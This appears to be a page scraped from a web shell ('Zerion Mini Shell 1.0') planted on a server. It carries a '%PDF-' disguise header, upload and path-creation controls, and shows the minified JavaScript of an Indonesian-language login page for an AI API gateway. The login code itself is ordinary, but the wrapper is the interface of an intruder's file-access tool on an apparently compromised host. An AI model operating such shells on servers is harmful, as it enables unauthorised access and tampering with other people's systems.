%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/dist/assets/
Upload File :
Create Path :
Current File : //home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/dist/assets/LoginPage-BtFPFFGZ.js

import{u as j,b as N,c as b,r as a,j as e,L as v}from"./index-BDMoG-ch.js";import{B as w}from"./Button-CLtEYZTH.js";import{I as m}from"./Input-BQKoATus.js";import{G as y}from"./GoogleAuthButton-Czy7ATeT.js";import{A}from"./AuthShell-CvFr3XR8.js";function B(){var i;const{login:u}=j(),d=N(),x=b(),[s,h]=a.useState(""),[r,p]=a.useState(""),[o,l]=a.useState(((i=x.state)==null?void 0:i.oauthError)??null),[g,n]=a.useState(!1),f=async t=>{t.preventDefault(),l(null),n(!0);try{await u(s,r),d("/dashboard")}catch(c){l(c instanceof Error?c.message:"Login gagal")}finally{n(!1)}};return e.jsx(A,{children:e.jsx("div",{className:"p-6 sm:p-8",children:e.jsxs("form",{onSubmit:f,className:"space-y-5",children:[e.jsxs("div",{className:"flex flex-col items-center gap-3 text-center",children:[e.jsx("img",{src:"/logo-kd.png",alt:"KURNIADEV AI",className:"h-12 w-auto rounded-xl object-contain shadow-soft"}),e.jsxs("div",{children:[e.jsxs("h1",{className:"text-lg font-bold tracking-tight text-white",children:["KURNIADEV AI"," ",e.jsx("span",{className:"font-normal text-slate-400",children:"API Gateway"})]}),e.jsx("p",{className:"mt-1 text-sm text-slate-500",children:"Masuk untuk mengelola gateway AI Anda."})]})]}),o&&e.jsx("div",{className:"animate-fade-in rounded-xl border border-red-500/25 bg-red-500/10 px-4 py-3 text-sm text-red-300",children:o}),e.jsx(m,{label:"Email",type:"email",required:!0,autoComplete:"email",placeholder:"nama@contoh.com",value:s,onChange:t=>h(t.target.value)}),e.jsx(m,{label:"Password",type:"password",required:!0,autoComplete:"current-password",placeholder:"••••••••",value:r,onChange:t=>p(t.target.value)}),e.jsx(w,{type:"submit",size:"lg",isLoading:g,className:"w-full",children:"Masuk"}),e.jsx(y,{}),e.jsxs("p",{className:"text-center text-sm text-slate-500",children:["Belum punya akun?"," ",e.jsx(v,{to:"/register",className:"font-medium accent-text transition hover:text-brand-200",children:"Daftar sekarang"})]})]})})})}export{B as default};

Zerion Mini Shell 1.0